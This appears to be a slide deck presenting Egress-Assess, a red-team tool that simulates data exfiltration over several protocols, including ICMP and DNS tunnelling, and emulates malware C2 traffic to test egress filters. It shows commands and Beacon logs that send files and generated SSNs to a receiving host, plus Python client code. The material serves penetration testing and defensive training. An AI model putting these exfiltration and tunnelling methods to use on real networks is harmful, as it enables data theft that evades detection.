What Goes In, Must Come Out: Egress-Assess and Data Exfiltration

Christopher Truncer
Stephan Borosh
Who We Are

- Christopher Truncer (@ChrisTruncer)
  ○ Veil Framework/Open-Source Software Developer, Florida State Seminole

- Steve Borosh (@424f424f)
  ○ U.S. Army Infantry Combat Veteran, bug hunter

- Red Teamers, Pen Testers, and Security Researchers

Mandiant
A FireEye™ Company

Veris Group
What’s this talk about?

- **Data Exfiltration Today**
  - Motivations and goals
- **Egress-Assess**
  - Framework description and usage
  - Technical discussion of tunneling protocols
  - Malware
  - Developing new modules
- **Tempt the Demo Gods**
Modern Day Ownage

http://www.ozarksfirst.com/media/lib/184/2/1/c/21c76ea6-2da0-4287-90ea-1a156ec78d14/Story.jpg

http://i0.wp.com/static.bangordailynews.com/wp-content/blogs.dir/254/files/2015/02/anthemHACKED-450x338.jpg?quality=90&w=588
Moar Ownage

WHAT WAS STOLEN
IN TARGET SECURITY BREACH

- Names
- Mailing Addresses
- Phone Numbers
- E-mail Addresses

http://epmgaa.media.lionheartdms.com/img/photos/2014/01/13/Target_t750x550.jpg?626c74b6d570df44fd02ecca30244159e005ff34

SECURITY BREACH

83 million
households and businesses

http://cbsnews2.cbsistatic.com/hub/i/r/2014/10/03/e4f01ebf-2679-4336-93fc-010cbf978d1d/thumbnail/940x470/1f6caf32404b9d045f81ceb9015694f9/en100314mason286601640x360.jpg
What’s the target?

- Home Depot
  - Credit cards and e-mail addresses
- Anthem
  - SSNs, name, address, income... everything
- Target
  - Credit cards, names, e-mails, phone numbers
- JP Morgan
  - Customer account data
Attackers don’t just target this...
...they target this
Malware increasingly uses DNS as command and control channel to avoid detection, experts say

Most companies are unprepared to deal with the use of DNS as command and control channel for malware, experts said at the RSA Conference

Lucian Constantin (IDG News Service) on 29 February, 2012 16:59

Trojan data-stealer hijacks ICMP traffic

By John E. Dunn
Techworld.com | Aug 8, 2006 1:00 AM PT
Tradecraft Evolution

● Pen Tests traditionally exploit vulnerabilities
  ○ Find and exploit vulnerabilities
  ○ Assess the security as a point in time

● Why not add in some exfiltration testing as well?
  ○ Attackers DO this, why not help prep our customers?
  ○ Let’s emulate our threats
Our Solution
The Egress-Assess is a tool used to assess egress filters protecting a network.

Client Protocol Options:
- **--client [http]**: Extract data over the specified protocol.
- **--list-clients**: List all supported client protocols.
- **--ip 192.168.1.2**: IP to extract data to.

Actor Emulation:
- **--actor [zeus]**: Emulate [actor] C2 comms to egress server.
- **--list-actors**: List all supported malware/APT group modules

Server Protocol Options:
- **--server [http]**: Create a server for the specified protocol.
- **--list-servers**: Lists all supported server protocols.

FTP Options:
- **--username testuser**: Username for FTP server authentication.
- **--password pass123**: Password for FTP server authentication.

Data Content Options:
- **--file /root/test.jpg**: Path to file for exfiltration via Egress-Assess.
- **--datatype [ssn]**: Extract data containing fake social security numbers.
- **--data-size DATA_SIZE**: Number of megs to send.
- **--list-datatypes**: List all data types that can be generated by the framework.
What does it do?

- Standard client/server model
- Simulates data exfiltration
  - Faux social security numbers or credit cards
  - And now real files :)
- Simulates Malware or APT traffic
- Exfil data over multiple protocols
Project Goals

- Fast and easy setup
- Minimal (if any) configurations required to work
- Lightweight and no excessive dependencies
- Exfiltrate data over different protocols
- Modular framework that allows easy expansion of capabilities
Project Goals

● Store all data/files transferred for proof of transfer
  ○ Stored in a specific directory
  ○ Time and date stamped for attribution with blue team logs
● Demonstrate different options for data exfiltration and demos for the blue team
● Exercise blue team’s incident response capabilities
Tunneling Protocols

Yo dawg, we heard you like protocols

So we put some protocols in your protocol so you can proto while you col.
Supported Tunneling Protocols

- Protocols merged into Egress-Assess
  - HTTP
  - HTTPS
  - FTP
  - SFTP
  - ICMP
  - SMB
  - DNS
  - DNS_Resolved
FTP and SFTP

- Generates faux data and writes it to disk, or transfers a file specified by user
- Creates FTP or SFTP connection to server and transfers the file to the server
- If faux data is used, it deletes the file
<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>0.000601000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>TCP</td>
<td>68</td>
<td>34707 &gt; ftp [ACK] Seq=1 Ack=48 Win=43776 Len=0 TSval=14533 TSecr=14533</td>
</tr>
<tr>
<td>6</td>
<td>0.000653000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP</td>
<td>80</td>
<td>Request: USER chris</td>
</tr>
<tr>
<td>7</td>
<td>0.000656000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>TCP</td>
<td>68</td>
<td>34707 [ACK] Seq=48 Ack=13 Win=43776 Len=0 TSval=14533 TSecr=14533</td>
</tr>
<tr>
<td>8</td>
<td>0.000965000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>TCP</td>
<td>101</td>
<td>Response: 331 Username ok, send password.</td>
</tr>
<tr>
<td>9</td>
<td>0.001044000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP</td>
<td>86</td>
<td>Request: PASS owttheexfil</td>
</tr>
<tr>
<td>10</td>
<td>0.001130000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP</td>
<td>91</td>
<td>Response: 230 Login successful.</td>
</tr>
<tr>
<td>11</td>
<td>0.001953000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP</td>
<td>76</td>
<td>Request: TYPE A</td>
</tr>
<tr>
<td>12</td>
<td>0.001980000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP</td>
<td>93</td>
<td>Response: 200 Type set to: ASCII.</td>
</tr>
<tr>
<td>13</td>
<td>0.001995000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP</td>
<td>74</td>
<td>Request: PASV</td>
</tr>
<tr>
<td>15</td>
<td>0.020629000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>TCP</td>
<td>76</td>
<td>51432 &gt; 53873 [SYN] Seq=0 Win=43590 Len=0 MSS=65495 SACK_PERM=1 TSval=14538</td>
</tr>
<tr>
<td>16</td>
<td>1427177145</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>TCP</td>
<td>76</td>
<td>53873 &gt; 51432 [SYN, ACK] Seq=0 Ack=1 Win=43590 Len=0 MSS=65495 SACK_PERM=1 T</td>
</tr>
<tr>
<td>17</td>
<td>0.020653000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>TCP</td>
<td>68</td>
<td>51432 &gt; 53873 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=14538 TSecr=14538</td>
</tr>
<tr>
<td>18</td>
<td>0.020782000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP</td>
<td>103</td>
<td>Request: STOR 03242015_192625text_data.txt</td>
</tr>
<tr>
<td>20</td>
<td>0.030126000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP-DATA</td>
<td>21913 FTP Data: 21845 bytes</td>
<td></td>
</tr>
<tr>
<td>21</td>
<td>0.030145000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>TCP</td>
<td>68</td>
<td>53873 &gt; 51432 [ACK] Seq=1 Ack=21846 Win=174720 Len=0 TSval=14540 TSecr=14540</td>
</tr>
<tr>
<td>22</td>
<td>0.030512000</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>FTP-DATA</td>
<td>21913 FTP Data: 21845 bytes</td>
<td></td>
</tr>
</tbody>
</table>

[Next sequence number: 21846  (relative sequence number)]
Acknowledgment number: 1  (relative ack number)
Header length: 32 bytes
Flags: 0x010 (ACK)
  Window size value: 342
  [Calculated window size: 43776]
  [Window size scaling factor: 128]
Checksum: 0x5609 [validation disabled]
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
[SEQ/ACK analysis]
[Bytes in flight: 21845]

ICMP

- Takes advantage of ICMP type 8 (echo)
  - Protocol allows you to specify the data used in the echo request

- Splits data in 1100 byte chunks

- Base64 encodes data

- Uses encoded data for the echo
ICMP Transfer

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Len/</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1879</td>
<td>198.3934430</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>ICMP</td>
<td>1512</td>
<td>Echo</td>
</tr>
<tr>
<td>1880</td>
<td>198.8988250</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>ICMP</td>
<td>1512</td>
<td>Echo</td>
</tr>
</tbody>
</table>

Linux cooked capture

Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: Oxabed [correct]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)

Data (1448 bytes)
Data: 4d7a67314c4341784d4467744d7a55744e7a530a4697767... [Length: 1468]

root@pwn:~/mnt/hgfs/gitrepos/Egress-Assess
DNS (Direct)

- Uses DNS TXT records
  - Max 255 bytes
- Split data into chunks, base64 encode each chunk, send packets directly to Egress-Assess server
- Multiple limitations when working with DNS
  - Size restrictions, UDP, etc.
    - We’d say a joke, but you might not get it :}
# DNS (Direct) Transfer

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>326</td>
<td>39.171786000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>327</td>
<td>39.267774000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>328</td>
<td>39.398140000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>329</td>
<td>39.509692000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>330</td>
<td>39.624322000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>331</td>
<td>39.709692000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>332</td>
<td>39.554470000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>333</td>
<td>39.658632000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>334</td>
<td>39.651682000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>335</td>
<td>39.758750000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>336</td>
<td>39.845635000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>337</td>
<td>39.908372000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>338</td>
<td>39.972480000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>339</td>
<td>40.025552000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>340</td>
<td>40.122874000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>341</td>
<td>40.158687000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>342</td>
<td>40.267052000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>343</td>
<td>40.357755000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
<tr>
<td>344</td>
<td>40.457755000K</td>
<td>192.168.63.158</td>
<td>192.168.63.158</td>
<td>DNS</td>
<td>139</td>
<td>Standard query Ox000f TXT egress-assess.com</td>
</tr>
</tbody>
</table>

**Questions:** 1

**Answer RRs:** 1

**Authority RRs:** 0

**Additional RRs:** 0

**Queries:**
- egress-assess.com: type TXT, class IN

**Answers:**
- NS 192.168.63.158 1800 IN A 192.168.63.158
- A 192.168.63.158

**Time to live:** 10 seconds

**Data length:** 0
Other protocol modules work well, but fail when a proxy is used.

Other tools have shown that DNS can be used as a communications channel:
- Cobalt Strike’s Beacon, dns tunneling projects (dnscat), etc.
- Began researching different methods to exfil data via DNS.
Why Use DNS

● Locked down environments can have proxies
● How many people inspect DNS?
  ○ How many people only resolve certain domains?
  ○ Can you block protocol compliant C2 comms or data exfiltration attempts?
  ○ Do you log and actively review DNS requests?
● Customer’s own DNS server FTW!
DNS (Resolved)

- Resolves local system’s nameserver
- Send request to system/network nameserver
  - `<base64encodeddata>.subdomain.domain.com`
- Server listens for incoming DNS A record request
  - Grabs record being requested, decodes it, and writes data to disk
http://blog.cobaltstrike.com/2013/06/20/thatll-never-work-we-dont-allow-port-53-out/
DNS Resolved Setup

- Create DNS A record for your final destination
- Create NS Record for subdomain, point to A record

DNS (Direct) Transfer

User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (query)

Transaction ID: 0x0000

Flags: 0x0100 Standard query
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0

Queries
MiOzMC0yMjQsIDczMy0xOS0wMTI.—.test.christophertruncer.com: type A, class IN
Name: MiOzMC0yMjQsIDczMy0xOS0wMTI.—.test.christophertruncer.com
Type: A (Host address)
Class: IN (0x0001)
DNS Woes
Back and forth

TXT for "6b6e6f636b206b6e6f636b.skuliseclabs.org"?

It's "77686f2773207468657265"

TXT for "656666"?

It's "6566662077686f3f"

TXT for "65666620796f7521"?

It's ""

TXT for ""?

It's "474554204954213f"

TXT for ""?

It's ""

TXT for ""?

It's ""

TXT for ""?

It's ""
Simple, right?

In reality, it works a little more like:

TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?
TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?
TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

It's "6566662077686f3f"
TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

It's "6566662077686f3f"

It's "6566662077686f3f"
Powershell all the things

- Same client modules as python client
- Simulate attackers from Windows systems
- Domain proxy support
- Deployable through Beacon, Meterpreter, etc..
- Report Generation (@N03Lx)
Get-Help

NAME
Invoke-EgressAssess

SYNOPSIS
Egress-assess powershell client.

------------------------- EXAMPLE 1 -------------------------
PS C:\>Import-Module Egress-Assess.ps1

Invoke-EgressAssess -client http -ip 127.0.0.1 -Datatype cc -Verbose
Invoke-EgressAssess -client smb -ip 127.0.0.1 -Datatype "c:\Users\testuser\secrets.xlsx" -Verbose
Invoke-EgressAssess -client icmp -ip 127.0.0.1 -Datatype ssn -Report -Verbose
Example


VERBOSE: 0% Done! 0 Name-Sets Generated
VERBOSE: 25% Done! 3799 Name-Sets Generated
VERBOSE: 50% Done! 7598 Name-Sets Generated
VERBOSE: 75% Done! 11397 Name-Sets Generated
VERBOSE: 100% Done! 15196 Name-Sets Generated
VERBOSE: Uploading data...

VERBOSE: [*] Transfer complete!
VERBOSE: [*] 0 loops remaining..
VERBOSE: [*] Building Report
VERBOSE: -----------Egress-Assess Report-----------
VERBOSE: Report File = EgressReport.txt

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Server</td>
<td>192.168.2.43</td>
</tr>
<tr>
<td>Datatype</td>
<td>IDENTITY</td>
</tr>
<tr>
<td>Protocol</td>
<td>HTTP</td>
</tr>
<tr>
<td>Size (MB)</td>
<td>1</td>
</tr>
<tr>
<td>Loops</td>
<td>1</td>
</tr>
<tr>
<td>Time (seconds)</td>
<td>5.95</td>
</tr>
<tr>
<td>Date</td>
<td>11/16/2015 3:50:21 AM</td>
</tr>
</tbody>
</table>

VERBOSE: [*] Exiting..
Beacon Deployment

```
beacon> sleep 5
[*] Tasked beacon to sleep for 5s
[+] host called home, sent: 16 bytes
```

```
beacon> powershell-import
```

```
Select script to import

Look in: Egress-Assess

File Name: Invoke-EgressAssess.ps1
Files of Type: All Files
```

```
beacon>
```
Beacon HTTP SSN Transfer

beacon> sleep 5
[*] Tasked beacon to sleep for 5s
beacon> powershell-import
[*] Tasked beacon to import /opt/Egress-Assess/Invoke-EgressAssess.ps1
[+] host called home, sent: 579714 bytes
beacon> powershell Invoke-EgressAssess -client http -ip 192.168.159.148 -datatype SSN -verbose
[*] Tasked beacon to run: Invoke-EgressAssess -client http -ip 192.168.159.148 -datatype SSN -verbose
[+] host called home, sent: 83 bytes
[+] received output:
"<#< CTXML
[+] received output:


beacon>
Beacon HTTP SSN Receive

- ./Egress-Assess.py --server http --datatype ssn
- Data saved in Egress-Assess/data/(timestamp)web_data.txt
HTTP Snort Capture
Malware
Malware Modules

- We currently test for data exfil
- Why not also emulate malware/threat actors using documented indicators?
- Many sources of documented network indicators
- Let’s create modules based off of these!
Malware Options

[*] Supported malware/APT groups:

[+] putterpanda - (Putter Panda APT)
[+] zeus - (Zeus Malware)
[+] darkhotel - (darkhotel backdoor)
[+] etumbot - (etumbot backdoor)
Zeus

- Uses known bad URIs
- Uses known bad domains
- Follows Get-Post pattern
- Posts simulated C2 command results
PowerShell - Etumbot

PS C:\Users\tester\Desktop> Invoke-EgressAssess -IP 172.20.11.229 -Client http -actor Etumbot -Datatype SSN -Verbose

VERBOSE: Generating 1 MB of Social Security Numbers (93325)...
VERBOSE: 0% Done! 0 SSNs Generated
VERBOSE: 25% Done! 23831 SSNs Generated
VERBOSE: 50% Done! 47662 SSNs Generated
VERBOSE: 75% Done! 71493 SSNs Generated
VERBOSE: 100% Done! 95324 SSNs Generated
VERBOSE: http://172.20.11.229/home/index.asp?typeid=13
VERBOSE: Uploading data...

VERBOSE: Looping 5 times
VERBOSE: http://172.20.11.229/manage/asp/item.asp?id=bHvRZx3JyWxseW1zdGh1bwFubX1oAFuZGx122VuZA--&amp;mux=bHvRZx3JyWxseW1zdGh1bwFubX1oAFuZGx122VuZA--&amp;...
VERBOSE: Uploading data...

VERBOSE: Looping 5 times
VERBOSE: http://172.20.11.229/history/YmpwZw5uaXNhbmF3ZnVwbWmaWdodGvy.asp
VERBOSE: Uploading data...

VERBOSE: Looping 5 times
VERBOSE: http://172.20.11.229/article/30441/Review.asp?id=Y2F0Y2hldHtym90awZ5b3Yw4--&amp;date=YmpwZw5uaXNhbmF3ZnVwbWmaWdodGvy
VERBOSE: Uploading data...

VERBOSE: Looping 5 times
VERBOSE: http://172.20.11.229/manage/asp/item.asp?id=bHvRZx3JyWxseW1zdGh1bwFubX1oAFuZGx122VuZA--&amp;mux=bHvRZx3JyWxseW1zdGh1bwFubX1oAFuZGx122VuZA--&amp;...
VERBOSE: Uploading data...

VERBOSE: Looping 5 times
VERBOSE: http://172.20.11.229/image/dGhlYnJvbmNvc2FyZwJldHRlc3RoYW5yXZlbnM-.jpg
VERBOSE: Uploading data...

VERBOSE: [*] Transfer complete!
VERBOSE: [*] 0 loops remaining..
Etumbot - Snort
Module Development
Protocol Modules

● Used to create client and server modules for Egress-Assess

● The transport mechanism for the generated (or real) data to exfil

● Eight different modules currently
  ○ HTTP, HTTPS, FTP, SFTP, SMTP, ICMP, DNS, DNS_Resolved
**Client Protocol Modules**

- Single “Protocol” Python Class
  
- `__init__` method
  - All it needs is a name
  - Access to all CLI options (for username, pass, etc.)

- `transmit` method
  - Data to be exfiltrated is passed in, and is used to transfer data
This is the web client code

```python
import sys
import urllib2

class Client:

    def __init__(self, cli_object):
        self.data_to_transmit = ''
        self.remote_server = cli_object.ip
        self.protocol = "http"

    def transmit(self, data_to_transmit):
        # Create the url to post to
        url = "http://" + self.remote_server + "/post_data.php"

        # Post the data to the web server at the specified URL
        try:
            f = urllib2.urlopen(url, data_to_transmit)
            f.close()
            print "[*] File sent!!!"
        except urllib2.URLError:
            print "[*] Error: Web server may not be active on " + self.remote_server
            print "[*] Error: Please check server to make sure it is active!"
            sys.exit()
```

return
Datatype Modules

- Modules which create data to be exfiltrated by the framework

- Currently there are three generators
  - Social Security Numbers
  - Credit Card Numbers
  - Identity Information

- But any sort of data can be generated by Egress-Assess and used for exfil
Datatype Module

- Single “Datatype” Python class

- \_\_init\_\_ method
  - Give your module a name, description, and “type” of data generated
  - All CLI options passed in to this method

- generate\_data method
  - This method is called to generate and return the data that is to be transferred
This module generates social security numbers

from common import helpers

class Datatype:

    def __init__(self, cli_object):
        self.cli = "ssn"
        self.description = "Social Security Numbers"
        self.filetype = "text"
        self.datasize = int(cli_object.data_size)

    def create_ssn(self):
        ssn = helpers.randomNumbers(9)
        return ssn

    def generate_data(self):
        print "[*] Generating data..."
        ssns = ''
        # This is approx 1 meg of socials
        for single_ssn in range(0, 81500 * self.datasize):
            ssns += self.create_ssn() + ', '
        return ssns
- Github
  - [https://github.com/ChrisTruncer/Egress-Assess](https://github.com/ChrisTruncer/Egress-Assess)

- Chris Truncer
  - @ChrisTruncer
  - CTruncer@christophertruncer.com

- Steve Borosh
  - @424f424f
  - steveborosh@rvrsh3ll.net